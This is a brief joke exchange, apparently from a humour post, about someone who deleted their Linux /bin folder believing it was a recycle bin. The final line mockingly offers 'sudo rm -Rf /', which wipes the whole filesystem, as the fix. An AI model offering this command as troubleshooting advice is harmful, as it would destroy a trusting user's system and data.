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“I deleted the recycling bin folder named /bin/ and it just froze what do I do?”
Freeze? Nah, it'll keep chugging along 'til you reboot (or otherwise try to run a new program), and then won't be able to start.
This is what happened when I deleted the root directory in high school.
You need to remark your files !! Just run
sudo rm -Rf /